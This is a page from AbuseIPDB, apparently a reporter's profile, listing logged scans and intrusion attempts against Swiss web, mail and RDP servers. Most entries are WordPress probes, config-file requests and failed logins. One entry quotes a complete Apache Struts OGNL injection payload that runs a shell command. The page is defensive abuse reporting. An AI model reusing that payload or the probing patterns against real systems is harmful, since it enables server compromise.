AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User Bächtold-Informatik joined AbuseIPDB in September 2024 and has reported 4,733 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇧🇷 165.154.213.19	14 Nov 2024	Domain : megamail.com.br Rule : SMTP 11/14/24 02:39:44 764 165.154.213.19 EHLO EHLO mail.sheini.ch ... show more Domain : megamail.com.br Rule : SMTP 11/14/24 02:39:44 764 165.154.213.19 EHLO EHLO mail.sheini.ch *hidden-privacy* [165.154.213.19], this server offers 5 extensions 225 21 11/14/24 02:39:44 764 165.154.213.19 RSET RSET 250 Requested mail action okay, completed 43 6 11/14/24 02:39:44 764 165.154.213.19 MAIL MAIL FROM:<[email protected]> 250 Requested mail action okay, completed 43 30 11/14/24 02:39:44 764 165.154.213.19 RCPT RCPT TO:<[email protected]> 503 This mail server requires authentication when attempting to send to a non-local e-mail address. Please check your mail client settings or contact your administrator to verify that the domain or address is defined for this server. 235 34 show less	Email Spam Port Scan Spoofing
🇺🇸 57.152.77.170	14 Nov 2024	Rule : DNS 57.152.77.170	DNS Compromise
🇧🇷 165.154.213.19	14 Nov 2024	Domain : megamail.com.br Rule : SMTP 11/14/24 02:39:43 764 165.154.213.19 *hidden-privacy* ES ... show more Domain : megamail.com.br Rule : SMTP 11/14/24 02:39:43 764 165.154.213.19 *hidden-privacy* ESMTP MailEnable Service, Version: 10.48-- ready at 11/14/24 02:39:43 90 0 11/14/24 02:39:44 764 165.154.213.19 EHLO EHLO mail.sheini.ch *hidden-privacy* [165.154.213.19], this server offers 5 extensions 225 21 11/14/24 02:39:44 764 165.154.213.19 RSET RSET 250 Requested mail action okay, completed 43 6 11/14/24 02:39:44 764 165.154.213.19 MAIL MAIL FROM:<[email protected]> 250 Requested mail action okay, completed 43 30 11/14/24 02:39:44 764 165.154.213.19 RCPT RCPT TO:<[email protected]> 503 This mail server requires authentication when attempting to send to a non-local e-mail address. Please check your mail client settings or contact your administrator to verify that the domain or address is defined for this server. 235 34 show less	Email Spam Port Scan Spoofing
🇯🇵 103.203.59.9	14 Nov 2024	Rule : IMAP IP in black list	Port Scan Spoofing
🇮🇳 15.206.75.172	14 Nov 2024	Domain : vmbi.ch Rule : env 2024-11-14 01:40:08 145.239.244.113 GET /wp-includes/wlwmanifest.xml - 4 ... show more Domain : vmbi.ch Rule : env 2024-11-14 01:40:08 145.239.244.113 GET /wp-includes/wlwmanifest.xml - 443 - 15.206.75.172 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36 - vmbi.ch 404 0 2 12749 339 285 - - show less	Hacking SQL Injection
🇫🇷 13.38.118.252	14 Nov 2024	Domain : sheini.ch Rule : config 2024-11-14 01:23:10 145.239.244.113 GET /.vscode/sftp.json - 443 - ... show more Domain : sheini.ch Rule : config 2024-11-14 01:23:10 145.239.244.113 GET /.vscode/sftp.json - 443 - 13.38.118.252 HTTP/1.1 Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:77.0) Gecko/20100101 Firefox/77.0 - sheini.ch 404 0 2 12742 217 15 - - show less	Hacking SQL Injection
🇦🇺 40.126.226.250	14 Nov 2024	Domain : mountainflare.ch Rule : wp-login 2024-11-14 01:21:14 145.239.244.113 HEAD /wp - 443 - 40.12 ... show more Domain : mountainflare.ch Rule : wp-login 2024-11-14 01:21:14 145.239.244.113 HEAD /wp - 443 - 40.126.226.250 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 http://mountainflare.ch/wp mountainflare.ch 404 0 2 170 224 326 - - show less	Web App Attack
🇨🇳 101.35.244.226	14 Nov 2024	Rule : SMTP IP in black list	Email Spam Port Scan Spoofing
🇮🇳 82.180.144.77	14 Nov 2024	Domain : sheini.ch Rule : vendorphp 2024-11-14 00:41:21 145.239.244.113 GET /wp-includes/fonts/about ... show more Domain : sheini.ch Rule : vendorphp 2024-11-14 00:41:21 145.239.244.113 GET /wp-includes/fonts/about.php - 443 - 82.180.144.77 HTTP/2 Go-http-client/2.0 http://sheini.ch/wp-includes/fonts/about.php sheini.ch 404 0 2 12579 200 139 - - show less	Web App Attack
🇦🇺 52.237.213.209	14 Nov 2024	Domain : sheini.ch Rule : wp-login 2024-11-14 00:14:44 145.239.244.113 HEAD /wp - 443 - 52.237.213.2 ... show more Domain : sheini.ch Rule : wp-login 2024-11-14 00:14:44 145.239.244.113 HEAD /wp - 443 - 52.237.213.209 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 http://sheini.ch/wp sheini.ch 404 0 2 170 210 328 - - show less	Web App Attack
🇦🇺 13.72.245.238	14 Nov 2024	Domain : nbae.ch Rule : wp-login 2024-11-14 00:00:40 145.239.244.113 HEAD /wp - 443 - 13.72.245.238 ... show more Domain : nbae.ch Rule : wp-login 2024-11-14 00:00:40 145.239.244.113 HEAD /wp - 443 - 13.72.245.238 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 http://nbae.ch/wp nbae.ch 404 0 2 170 206 339 - - show less	Web App Attack
🇮🇳 15.207.108.11	13 Nov 2024	Domain : bi-ai.ch Rule : env 2024-11-13 16:08:21 145.239.244.113 GET /wp-includes/wlwmanifest.xml - ... show more Domain : bi-ai.ch Rule : env 2024-11-13 16:08:21 145.239.244.113 GET /wp-includes/wlwmanifest.xml - 443 - 15.207.108.11 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 - bi-ai.ch 404 0 2 12749 340 275 - - show less	Hacking SQL Injection
🇨🇳 43.240.222.202	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc0 ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM workstation - - 0 0x0 - 43.240.222.202 0 show less	Brute-Force SSH
🇨🇳 58.246.9.146	13 Nov 2024	Rule : SMTP 11/13/24 16:36:22 1992 58.246.9.146 AUTH bGVvbjEyNDM1 535 Invalid Username or Password 3 ... show more Rule : SMTP 11/13/24 16:36:22 1992 58.246.9.146 AUTH bGVvbjEyNDM1 535 Invalid Username or Password 34 14 spam show less	Email Spam Port Scan Spoofing
🇮🇳 3.110.176.29	13 Nov 2024	Domain : sheini.ch Rule : xmlrpc 2024-11-13 15:19:04 145.239.244.113 GET /xmlrpc.php rsd 443 - 3.110 ... show more Domain : sheini.ch Rule : xmlrpc 2024-11-13 15:19:04 145.239.244.113 GET /xmlrpc.php rsd 443 - 3.110.176.29 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36 - sheini.ch 404 0 2 12749 328 268 - - show less	Web App Attack
🇨🇳 43.139.2.185	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc0 ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM workstation - - 0 0x0 - 43.139.2.185 0 show less	Brute-Force SSH
🇸🇬 203.118.28.101	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc0 ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM workstation - - 0 0x0 - 203.118.28.101 0 show less	Brute-Force SSH
🇸🇬 43.134.73.173	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc0 ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM workstation - - 0 0x0 - 43.134.73.173 0 show less	Brute-Force SSH
🇨🇳 122.51.104.42	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc0 ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM workstation - - 0 0x0 - 122.51.104.42 0 show less	Brute-Force SSH
🇨🇳 222.219.133.59	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc0 ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator - 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM workstation - - 0 0x0 - 222.219.133.59 0 show less	Brute-Force SSH
🇺🇸 35.171.47.129	13 Nov 2024	Domain : x-atla.com Rule : config 2024-11-13 13:40:34 145.239.244.113 GET /.git/config - 443 - 35.17 ... show more Domain : x-atla.com Rule : config 2024-11-13 13:40:34 145.239.244.113 GET /.git/config - 443 - 35.171.47.129 HTTP/1.1 SonyEricssonK810i/R1KG Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 - x-atla.com 404 8 0 283 209 3057 - - show less	Hacking SQL Injection
🇫🇷 91.238.181.39	13 Nov 2024	Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator BI-SERVER 0xc000006d % ... show more Rule : RDP UserAccount : Administrator S-1-0-0 - - 0x0 S-1-0-0 Administrator BI-SERVER 0xc000006d %#13 0xc000006a 3 NtLmSsp NTLM WIN-O6CI4RN739E - - 0 0x0 - 91.238.181.39 0 show less	Brute-Force SSH
🇳🇱 5.182.86.231	13 Nov 2024	Domain : bi-ai.ch Rule : DangerQueryString 2024-11-13 11:38:06 145.239.244.113 GET /index.action act ... show more Domain : bi-ai.ch Rule : DangerQueryString 2024-11-13 11:38:06 145.239.244.113 GET /index.action action:${#context['xwork.MethodAccessor.denyMethodExecution']=false,#f=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#f.setAccessible(true),#f.set(#_memberAccess,true),#[email protected]@getRuntime().exec('sh -c id').getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse').getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()} 443 - 5.182.86.231 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36 - bi-ai.ch 500 0 0 13112 866 18 - - show less	Web App Attack
🇦🇺 13.70.85.201	13 Nov 2024	Domain : nbae.ch Rule : wp-login 2024-11-13 10:09:56 145.239.244.113 HEAD /wp - 443 - 13.70.85.201 H ... show more Domain : nbae.ch Rule : wp-login 2024-11-13 10:09:56 145.239.244.113 HEAD /wp - 443 - 13.70.85.201 HTTP/1.1 Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36 http://nbae.ch/wp nbae.ch 404 0 2 170 206 325 - - show less	Web App Attack
🇨🇳 124.165.192.26	13 Nov 2024	Rule : SMTP 11/13/24 10:52:00 1388 124.165.192.26 AUTH TW91bnRhaW5mbGFyZQ== 535 Invalid Username or ... show more Rule : SMTP 11/13/24 10:52:00 1388 124.165.192.26 AUTH TW91bnRhaW5mbGFyZQ== 535 Invalid Username or Password 34 22 [email protected] show less	Email Spam Port Scan Spoofing